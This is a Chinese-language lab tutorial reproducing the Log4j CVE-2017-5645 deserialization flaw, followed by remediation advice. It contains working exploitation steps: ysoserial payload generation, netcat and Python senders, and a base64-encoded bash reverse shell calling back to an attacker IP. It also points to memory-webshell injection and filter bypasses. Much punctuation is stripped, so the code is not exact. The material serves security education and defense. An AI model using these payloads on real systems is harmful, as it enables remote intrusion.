1. 项目概述一次经典的Java反序列化漏洞实战CVE-2017-5645这个编号对于很多从事应用安全研究或渗透测试的朋友来说应该不陌生。它不是一个孤立的漏洞而是Apache Log4j 2.x版本中一个特定组件——SocketServer类存在的反序列化漏洞。简单来说攻击者可以通过网络向启用了该功能的Log4j服务发送精心构造的恶意序列化数据触发服务端执行任意命令。这个漏洞的CVSS评分高达9.8属于严重级别因为它直接绕过了身份验证并且能实现远程代码执行。我第一次接触这个漏洞是在一次内部红蓝对抗中当时目标系统的一个管理后台使用了较老版本的Log4j进行日志收集和监控。虽然最终的攻击链比直接利用CVE-2017-5645要复杂一些但正是这个漏洞让我深刻理解了Java反序列化漏洞的威力和普遍性。今天我们就来彻底拆解它从原理到环境搭建再到漏洞利用和修复手把手带你复现这个经典案例。无论你是安全工程师想深入理解漏洞机理还是开发人员想避免踩坑这篇文章都能给你提供直接的参考。2. 漏洞原理深度剖析为什么反序列化如此危险要理解CVE-2017-5645必须先搞清楚两个核心概念Log4j的SocketServer和Java反序列化。2.1 Log4j SocketServer的设计初衷与安全盲区Apache Log4j是一个功能强大的日志记录框架它的SocketServer类设计用于接收通过网络Socket发送来的日志事件。想象一下你有一个分布式系统各个微服务节点将日志事件通过网络发送到一个中央日志服务器进行处理和存储SocketServer就是那个中央服务器的“耳朵”。在Log4j 2.x的早期版本具体是2.0-beta9到2.8.1这个“耳朵”在监听TCP端口默认4560时对传入的数据直接进行了ObjectInputStream反序列化操作。这里就出现了第一个安全盲区无条件的信任。SocketServer默认信任任何连接到该端口并发送数据的客户端没有实现任何形式的身份验证或授权机制。它假设所有传入的数据都是良性的、由可信客户端发送的合法日志事件对象。2.2 Java反序列化一把锋利的双刃剑Java序列化是一种将对象状态转换为字节流的过程以便存储或传输。反序列化则是其逆过程将字节流还原为内存中的对象。这个过程本身是Java远程方法调用RMI、消息队列、缓存等机制的基础非常强大。然而危险就藏在反序列化的机制里。当ObjectInputStream.readObject()方法被调用时Java虚拟机会根据字节流中的类描述尝试去实例化对应的类。在实例化过程中如果这个类定义了readObject、readResolve等方法这些方法会被自动调用。攻击者的思路就是找到一个在目标应用类路径Classpath中存在的、其readObject方法或相关方法如构造函数、getter/setter能导致危险操作如执行命令的类然后构造该类的序列化字节流发送给服务端。这类能被利用的类我们称之为“反序列化利用链”或“Gadget Chain”。Apache Commons Collections库特别是3.2.1及以前版本中一系列类如InvokerTransformer,ConstantTransformer,ChainedTransformer等的组合就是历史上最著名、最通用的Gadget Chain之一。它们可以通过层层调用最终执行任意命令。2.3 CVE-2017-5645的触发点在存在漏洞的Log4j版本中SocketServer.main()方法或通过SocketServer类启动的服务其核心循环代码如下概念简化try (ServerSocket serverSocket new ServerSocket(port)) { while (!shutdown) { Socket socket serverSocket.accept(); // 接受连接 ObjectInputStream ois new ObjectInputStream(socket.getInputStream()); // 关键创建对象输入流 LogEvent event; do { event (LogEvent) ois.readObject(); // 关键反序列化传入数据 // ... 处理日志事件 ... } while (!shutdown); } }问题就出在new ObjectInputStream(...)和ois.readObject()这两行。程序没有对输入流做任何白名单校验直接反序列化。攻击者只需要建立一个TCP连接到目标服务器的4560端口然后发送一个精心构造的、包含恶意Gadget Chain的序列化字节流漏洞就会被触发在服务端上下文执行攻击者预设的命令。注意这里容易产生一个误解认为CVE-2017-5645和后来轰动全球的Log4ShellCVE-2021-44228是同一个漏洞。它们完全不是。Log4Shell是日志消息内容解析导致的漏洞影响范围极广。而CVE-2017-5645是SocketServer组件的反序列化漏洞需要特定配置开启SocketServer才会暴露影响面相对较小但危害同样严重。3. 漏洞复现环境搭建与工具准备纸上得来终觉浅绝知此事要躬行。下面我们搭建一个完整的复现环境。你需要准备一台Linux虚拟机我使用Kali 2024.1Ubuntu/CentOS均可并确保安装了Java环境。3.1 靶机环境搭建漏洞服务端首先我们需要一个存在漏洞的Log4j版本。这里我们选择Log4j 2.8.1它是受影响的最后一个版本。创建项目目录并下载依赖mkdir log4j-cve-2017-5645 cd log4j-cve-2017-5645 # 下载漏洞版本的Log4j核心包 wget https://archive.apache.org/dist/logging/log4j/2.8.1/apache-log4j-2.8.1-bin.zip unzip apache-log4j-2.8.1-bin.zip # 下载通用的反序列化利用链依赖Apache Commons Collections 3.2.1 wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar编写一个简单的漏洞服务器程序 我们不需要去研究复杂的Log4j配置直接写一个Java程序来模拟启动SocketServer。创建文件VulnServer.javaimport org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge; import org.apache.logging.log4j.core.net.server.TcpSocketServer; import java.io.IOException; public class VulnServer { public static void main(String[] args) throws IOException { // 使用存在漏洞的Log4j 2.8.1中的TcpSocketServer // 它内部使用了ObjectInputStream进行反序列化 int port 4560; // Log4j SocketServer默认端口 System.out.println([*] 启动存在CVE-2017-5645漏洞的Log4j SocketServer...); System.out.println([*] 监听端口: port); System.out.println([*] 请使用攻击脚本连接此端口进行测试。); final TcpSocketServerObjectInputStream server TcpSocketServer.createSerializedSocketServer(port); server.run(); // 此方法会阻塞持续接受连接 } }编译并运行漏洞服务器# 编译 javac -cp apache-log4j-2.8.1-bin/log4j-core-2.8.1.jar:apache-log4j-2.8.1-bin/log4j-api-2.8.1.jar VulnServer.java # 运行需要将commons-collections库也加入classpath因为我们的攻击载荷会用到它 java -cp .:apache-log4j-2.8.1-bin/*:commons-collections-3.2.1.jar VulnServer如果看到提示监听4560端口说明漏洞服务端已经准备就绪。保持这个终端运行。3.2 攻击机环境与工具准备在另一个终端窗口我们准备攻击脚本。我们将使用经典的ysoserial工具来生成攻击载荷。ysoserial是一个集成了多种Java反序列化利用链的武器化工具。下载并编译ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial # 由于项目较老可能需要使用Maven 3.x版本并指定Java 8兼容性 mvn clean package -DskipTests编译成功后在target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar版本号可能略有不同。确认攻击链 对于Log4j 2.8.1由于其类路径通常不包含其他复杂库最通用的链是CommonsCollections系列。我们可以先用ysoserial列出支持的所有链java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar你会看到一长串列表如CommonsCollections1到CommonsCollections10Groovy1Jdk7u21等。对于我们的测试环境CommonsCollections5或CommonsCollections6通常是不错的选择因为它们对第三方库的版本依赖相对宽松。4. 漏洞利用实战构造与发送攻击载荷环境就绪现在进入最关键的利用环节。我们的目标是让运行VulnServer的Java进程执行一条系统命令。4.1 生成反序列化攻击载荷假设我们想让目标服务器执行命令touch /tmp/pwned_by_cve_2017_5645在/tmp目录下创建一个文件作为攻击成功的证明。使用ysoserial生成对应的序列化字节流# 回到攻击机的工作目录 cd /path/to/ysoserial # 使用CommonsCollections6链生成攻击载荷并保存为payload.bin java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 touch /tmp/pwned_by_cve_2017_5645 payload.bin这条命令的意思是使用CommonsCollections6这个利用链封装一个执行指定字符串命令的Payload并将其序列化后的字节输出重定向到payload.bin文件中。实操心得选择哪条CommonsCollections链有时需要一点尝试。如果目标环境的Commons Collections库版本是3.2.1那么1-6号链通常都有效。如果执行不成功可以换用CommonsCollections5或CommonsCollections2试试。ysoserial的每个链对依赖库的版本和JDK内部类的细微差别都有不同要求。4.2 发送Payload至漏洞服务现在我们需要将payload.bin这个二进制文件通过TCP发送到靶机的4560端口。有多种方法可以实现方法一使用netcat (nc)nc -nv 靶机IP地址 4560 payload.bin这是最简单直接的方法。如果连接成功建立并发送了数据你会看到netcat命令执行完毕。此时立即检查靶机服务器的/tmp目录# 在靶机终端执行 ls -la /tmp/pwned_by_cve_2017_5645如果文件被成功创建恭喜你漏洞复现成功这证明了远程命令执行RCE已经实现。方法二使用Python脚本更可控有时netcat发送数据太快或连接处理不完美我们可以写一个简单的Python脚本#!/usr/bin/env python3 import socket import sys def exploit(target_ip, target_port, payload_file): with open(payload_file, rb) as f: payload f.read() sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) print(f[] 连接到 {target_ip}:{target_port}) sock.sendall(payload) print([] Payload发送完毕) # 可以稍作停留等待服务器处理 sock.settimeout(2) try: # 有些服务可能会返回一些数据读一下避免连接重置 response sock.recv(1024) if response: print(f[*] 收到响应: {response[:50]}...) except socket.timeout: pass except Exception as e: print(f[-] 连接或发送失败: {e}) finally: sock.close() if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 靶机IP 端口 payload文件) sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])保存为send_payload.py然后运行python3 send_payload.py 127.0.0.1 4560 payload.bin4.3 利用过程深度解析当你的Payload发送到漏洞服务时幕后发生了以下事情网络传输原始字节流通过网络到达VulnServer的4560端口。反序列化入口TcpSocketServer接收到连接创建ObjectInputStream并调用readObject()尝试读取一个LogEvent对象。利用链触发readObject()解析字节流发现它描述的不是LogEvent而是CommonsCollections6链中的一系列对象如LazyMap、ChainedTransformer、ConstantTransformer、InvokerTransformer等。Java虚拟机开始按照字节流指示递归地实例化这些对象。危险方法调用在实例化InvokerTransformer等对象时其readObject或构造函数中包含了利用反射调用Runtime.exec()方法的逻辑。这个调用被成功执行。命令执行Runtime.getRuntime().exec(touch /tmp/pwned_by_cve_2017_5645)在服务端进程的上下文中执行创建了文件。整个过程服务端程序只是在“忠实地”执行反序列化这一常规操作却无意中执行了攻击者的代码。这就是反序列化漏洞被称为“反序列化炸弹”的原因——数据本身变成了代码。5. 漏洞修复方案与安全加固实践复现漏洞是为了更好地防御它。对于CVE-2017-5645Apache官方早已提供了修复方案。了解如何修复是安全研究的最终目的。5.1 官方修复方案解读Apache在Log4j 2.8.2版本中修复了此漏洞。修复的核心思想是为SocketServer引入一个可配置的“反序列化过滤器”。关键的修复代码在ObjectInputStreamLogEventBridge类中概念简化public class ObjectInputStreamLogEventBridge implements LogEventBridgeObjectInputStream { private final DeserializerFilter filter; // 新增的过滤器 public ObjectInputStreamLogEventBridge(DeserializerFilter filter) { this.filter filter; } Override public LogEvent wrapStream(InputStream inputStream) throws IOException { ObjectInputStream objectInputStream new ObjectInputStream(inputStream); if (filter ! null) { // 关键修复为ObjectInputStream设置过滤器 ObjectInputFilter.Config.setObjectInputFilter(objectInputStream, filter); } // ... 后续反序列化操作会受到过滤器的限制 return (LogEvent) objectInputStream.readObject(); } }这个DeserializerFilter本质上是一个ObjectInputFilter它允许开发者定义一个白名单或黑名单指定哪些类可以被反序列化。在默认配置下它只允许反序列化Log4j自身相关的几个安全类如LogEvent从而彻底阻断了外部恶意Gadget Chain的加载。5.2 修复实践升级与配置对于受影响的用户修复步骤非常明确立即升级将Log4j 2.x版本升级至2.8.2或更高版本建议直接升级到最新的2.x稳定版如2.23.1以同时修复其他潜在问题。修改你的项目依赖Maven/Gradle中的Log4j版本号即可。!-- Maven pom.xml 示例 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.23.1/version !-- 使用安全版本 -- /dependency检查配置如果你确实需要使用Log4j的SocketServer功能大多数应用并不需要在升级后请审查相关配置。确保你没有在不可信的网络环境如公网下暴露Log4j的Socket端口默认4560。最好的实践是仅在内部可信网络中使用此功能或者通过防火墙严格限制访问源IP。寻找替代方案对于日志收集考虑使用更现代、更安全的方案例如通过日志文件 Filebeat/Fluentd 进行采集。使用Syslog协议。直接使用Log4j或Logback的Appender将日志写入Kafka、Elasticsearch等中间件避免自定义网络协议。5.3 广义的Java反序列化漏洞防御CVE-2017-5645是Java反序列化漏洞的一个具体案例。要系统性防御此类漏洞你需要建立更深层的安全意识输入源管控永远不要反序列化来自不可信来源的数据。这包括网络请求、用户输入、文件上传、RMI请求、JMX连接、JMS消息等。对所有输入源进行严格的身份验证和授权。使用安全替代方案考虑使用更安全的序列化格式如JSONJackson/Gson、Protocol Buffers、Avro等。这些格式通常不直接关联到Java类的实例化安全性更高。实施反序列化过滤器如果你必须使用Java原生序列化例如为了兼容老系统在JDK 9中务必使用ObjectInputFilterJEP 290来定义严格的白名单。这是防御此类漏洞最有效的手段之一。白名单应只包含业务绝对必需的类。// JDK 9 示例 ObjectInputStream ois new ObjectInputStream(inputStream); ObjectInputFilter filter ObjectInputFilter.allowFilter( cl - cl.getPackageName().equals(com.yourcompany.safeclasses), ObjectInputFilter.Status.REJECTED ); ois.setObjectInputFilter(filter);依赖库安全管理定期扫描项目依赖使用OWASP Dependency-Check、Snyk等工具及时发现并升级包含已知反序列化Gadget Chain的库如老版本的Apache Commons Collections、Commons BeanUtils、Spring框架特定版本等。最小化攻击面关闭不必要的服务端口。像Log4jSocketServer这类非核心功能如果不需要坚决不启用。通过安全组、防火墙、容器网络策略等手段将应用的网络暴露面降到最低。6. 常见问题排查与实战技巧实录在复现和研究这类漏洞的过程中你肯定会遇到各种问题。下面是我踩过的一些坑和总结的技巧。6.1 漏洞复现失败排查清单问题现象可能原因排查步骤与解决方案连接被拒绝漏洞服务未启动或端口错误1. 检查VulnServer程序是否正常运行 (netstat -tlnp | grep 4560)。2. 确认防火墙是否放行了4560端口 (sudo ufw status)。3. 检查程序是否绑定到了127.0.0.1而非0.0.0.0。连接成功但无反应Payload生成或发送问题1.检查Java版本靶机和攻击机的JDK版本最好一致建议JDK 8uXX。高版本JDK如11可能内置了部分缓解措施导致利用链失效。这是最常见的原因2.更换ysoserial利用链尝试CommonsCollections5,CommonsCollections6,CommonsCollections1等。3.检查依赖确保靶机运行VulnServer时commons-collections-3.2.1.jar在classpath中。4.Payload发送不完整使用Python脚本发送并确保sock.sendall()调用成功。服务端抛出ClassNotFoundException缺少Gadget Chain所需的类1. 确认commons-collections-3.2.1.jar已正确添加到靶机服务的classpath。2. 如果使用其他链如Groovy1需要确保对应库groovy也在classpath中。命令执行了但没看到效果命令执行上下文问题1.检查命令路径touch命令通常没问题。如果执行whoami或id输出可能被丢弃。可以尝试将命令输出重定向到文件whoami /tmp/test.txt。2.权限问题Java进程可能以非root用户运行检查其对/tmp目录是否有写权限。3.使用绝对路径尝试使用/bin/touch代替touch。6.2 高级技巧与深度利用反弹Shell创建文件只是证明RCE真正的攻击往往需要交互式Shell。我们可以利用bash或netcat反弹Shell。# 生成反弹Shell的Payload。假设攻击机IP是192.168.1.100监听4444端口。 # 注意命令中有特殊字符需要妥善处理。 java -jar ysoserial.jar CommonsCollections6 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload_reverse.bin上面的命令使用base64编码了一段bash反弹Shell命令避免特殊字符在命令行中传递出现问题。在攻击机上用nc -lvnp 4444监听然后发送payload_reverse.bin。内存马注入在实战中攻击者可能不满足于一次性的命令执行而是追求持久化。对于Java Web应用可以通过反序列化漏洞注入内存WebShell内存马。这需要构造更复杂的Payload利用应用已有的类如Tomcat的Filter、Spring的Controller动态注册恶意组件。这超出了基础复现的范围但它是此类漏洞的高级利用方向。绕过简单的过滤如果服务端使用了不完善的黑名单过滤研究不同Gadget Chain的变种如利用BeanShell1、Clojure、MozillaRhino等链可能实现绕过。ysoserial本身就是一个很好的“链百科全书”。6.3 从攻击者视角看防御作为防御方了解攻击者的工具和思路至关重要。我建议部署RASP在关键应用上部署运行时应用自我保护RASP产品。好的RASP可以在Java反序列化等危险操作发生时进行实时拦截和告警即使存在未知的0day利用链也能提供一层防护。加强日志监控监控应用中关于类加载失败、ClassNotFoundException特别是尝试加载InvokerTransformer、AnnotationInvocationHandler等知名Gadget类的异常日志这可能是攻击尝试的迹象。进行代码审计在代码审查中将ObjectInputStream的使用列为高危关注点。检查所有readObject()的调用点确认其数据来源是否可信是否配置了过滤器。复现CVE-2017-5645的过程就像解剖一个经典的病理样本。它清晰地展示了“信任边界模糊”和“功能滥用”如何导致严重的安全问题。对于开发者这个案例是一个警钟提醒我们在使用像反序列化这样强大的特性时必须心怀敬畏实施最严格的安全控制。对于安全研究者它则是一个完美的起点从这里可以深入到Java安全、利用链构造、内存安全等更广阔的领域。每一次成功的复现和透彻的分析都是构建更安全数字世界的一块基石。